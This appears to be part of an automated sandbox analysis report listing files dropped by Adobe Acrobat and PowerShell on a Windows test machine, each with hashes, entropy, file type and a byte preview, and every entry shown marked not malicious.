SHA-256:	281497903472F3E47E7019A34FFAA68F93F6332F1538D0663250AA3E6993CFDC
SHA-512:	9EE5EEEC3416EAA65E0842E591B043564FCD0F59EB1ABA1F027E94DB5B09C19039B2D4C16B06AC96883C9F8644F572DC722A23624D2FEC2832A53FB9B1DB8093
Malicious:	false
Preview:	2025/01/10-08:28:13.340 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:28:13.373 1df8 Recovering log #3.2025/01/10-08:28:13.375 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.192042797772987
Encrypted:	false
SSDEEP:	6:iO4odVrSuCQ+q2PcNwi2nKuAl9OmbzNMxIFUtSodVrVCVgZmwsodVrVQYDQQVkwY:7vWNvLZHAa8jFUtRt/7yuT54ZHAa84J
MD5:	5A502F89E261B6B9EE0AAD6EFC570E7B
SHA1:	0F38DF5CF504C8DF30A182D4F0AEC53B964B0D83
SHA-256:	281497903472F3E47E7019A34FFAA68F93F6332F1538D0663250AA3E6993CFDC
SHA-512:	9EE5EEEC3416EAA65E0842E591B043564FCD0F59EB1ABA1F027E94DB5B09C19039B2D4C16B06AC96883C9F8644F572DC722A23624D2FEC2832A53FB9B1DB8093
Malicious:	false
Preview:	2025/01/10-08:28:13.340 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:28:13.373 1df8 Recovering log #3.2025/01/10-08:28:13.375 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438885370408994
Encrypted:	false
SSDEEP:	384:yeaci5G1n3nciBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmz5:11n3nwurVgazUpUTTGt
MD5:	72FF1C240F3C978E399E6420F416251D
SHA1:	05FFC440AB6DE3AD88F8AB67EA517E36524A0EC7
SHA-256:	2DF0A4A0F1059B116488FA27535F8FA0B132EE7A5D6AB2A7DAD05636D254A259
SHA-512:	4ADEBA04AB22A8E4FDCA0CD7E0F3CC62703B5298C66940EF733592FFC333896E77DBFAA38D61D57C8CE6A000F70F27BBB6AF440689B96D4A8B9DB73624F801AE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7708682261735715
Encrypted:	false
SSDEEP:	48:7M0p/E2ioyV+tioy3DoWoy1CABoy1/2KOioy1noy1AYoy1Wioy1hioybioyVyoyq:7bpju+t0iAbuXKQKweb9IVXEBodRBkN
MD5:	99CE9A81695879DB5EF45FB8607C23F2
SHA1:	9FFA5ACD7BCA3BB7773162C1174C120A99B090D5
SHA-256:	AD0185ECB7BBF5267C311DEF97278FDF37E9A316462EC7DE9C45FA7B5D6CDA61
SHA-512:	B5481358CE9D9A8BFEC95F22A211B60783B490BD56798AB6578FBBB77EF757F6C62ADE805D78B74914324B034B022B5CA2FA6904BFC6C5D544B73C18859A427E
Malicious:	false
Preview:	.... .c.....g.nc...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7582608629891827
Encrypted:	false
SSDEEP:	3:kkFkljIwRLlltfllXlE/HT8khXNNX8RolJuRdxLlGB9lQRYwpDdt:kKjwheT8sNMa8RdWBwRd
MD5:	DD4A6C3EB3EF942855FCCAF2C4EF475A
SHA1:	796949E1343082AE9354021BD52C551A431F9864
SHA-256:	ADFBACC55F872902415EE1FE5036F144E1F8D6B82CAF30A224E3A7C0C9CEA542
SHA-512:	2F640D33AEAB58C4A655F183B7418ED32D29097DDE93ACCA32A399AC8FD422071A32C3C38DC6213311CB48373C5BD245131456713EACD674182D3E52A2B9DC8F
Malicious:	false
Preview:	p...... .........m..cc..(....................................................... ..........W.....F..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.231099772728515
Encrypted:	false
SSDEEP:	6:kK9+tL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:YtiDImsLNkPlE99SNxAhUe/3
MD5:	D6E56237EFF7636544847CD35A70072C
SHA1:	1EEBB95F66D6303BE6AEC79FB2D4236CE45690CC
SHA-256:	A0068440EAD921EB52F05E0E3CB6897DDDD18E8096F33ACF5BBDCE517D6B5812
SHA-512:	09CD9848F9BA8942A894B37D569EA0C76CC2843B333E9473BB48F6901A792A73CD7AD10EE4D3DD7569B43DCD8EC68BC6ADDA4B28B6B6657DF56E916B72569A87
Malicious:	false
Preview:	p...... ........g..cc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7332

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7332

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.081787757445438
Encrypted:	false
SSDEEP:	48:YA8YvXvwvfb7ACHaECU6akn2ZqijwiIE0O:Dfif4oh612ZdXrz
MD5:	941844CDED12FF320A0FB1AA0B62B9A0
SHA1:	A29D7019FCA38B23983545C689FED8AC0BE0BE40
SHA-256:	96919DF5B8CCA7C9101D39E74A2AF5EF5A9542FAAA2036A86FC2E185E638D1DF
SHA-512:	19A86E9D7F0DE9E06B1B91AA8CE4A96389ED97D2F892EDE928CA44F1477F180C6D819708A742C10DF32ADCB07562EC1878C0A35E2E844748CB2E76060B2AB69E
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736515695000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"600435bc6c3bfd6739f3c39b93bb45a3","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696492435000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5c23293c742ed52b97ce6913651e2bac","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696492429000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1281d7dbf4238170aa87c435aca63c66","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696492423000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"824a4ec59c469b030f3b98175cf76e67","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696491691000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9e3dce9d3ce52b8c98d60243d5cf7aa0","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696491691000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.451089009637845
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2ds42OrlG2OH:lNVmsw3SHtbDbPe0K3+fDZdc
MD5:	1CE61612E8BE7CA8BDEC621FBAA042CC
SHA1:	055F0C86E1EDAADF5956047E15D8C08986A4A2D4
SHA-256:	835B1B6A08FA80ECAEA4FAF4D6101D72751DD167BAF0B1F133EDD55F1A1DA6E5
SHA-512:	0B5601A1F6D8F29B62D7DF72ABBAEEB815894374709324E3BFB8BE41E8B3233FAEB515690947EF6BE5E83BBFCDB7DC4860E5A8BB2504749F7C8CCD2B79402E5B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9567591599651026
Encrypted:	false
SSDEEP:	48:7M5rvrBd6dHtbGIbPe0K3+fDy2ds42OKWqFl2GL7msz:7g3SHtbDbPe0K3+fDZdZKVmsz
MD5:	E8B4DC95B43EB9A6F23D10ECFEFC134C
SHA1:	0C9659B8645E8CAF636AE56B1072B429AF247DFC
SHA-256:	E26AC60FE43774D4D961650C04FCF5704614181D49C47AE2F963D4BB9334FBB3
SHA-512:	EDD6F45087231A4C55BE5C130198C2E41EDBF13362B0243DA1DB0EE1F0996A27DF36627BFB20A938B83451ED35B49A82240108528DF8DAC8F582B6D1FAE73576
Malicious:	false
Preview:	.... .c........T......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgtgJdL/cLh55B2XM+nepcD41NQgYyu:6a6TZ44ADEiJdDi75gXH7/gK
MD5:	A41A5177FF3B7640E3EAD4A91AF84603
SHA1:	3E28B9C66DD1562862DCA99AD8304238452602E5
SHA-256:	0461D27F7ABDC47008B2176B5F46E4EF9F737A6CD3BCBD39DD5D7DCAD2F006D7
SHA-512:	EF3A6805A37465893D4B8FB51B654A6621A139C7674F448B82DA14AC7C9C1F07DB31299FA3AE1C28736DD197291C3B42A046A5C59EE26CFC9C774C9268B85665
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIfd39d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
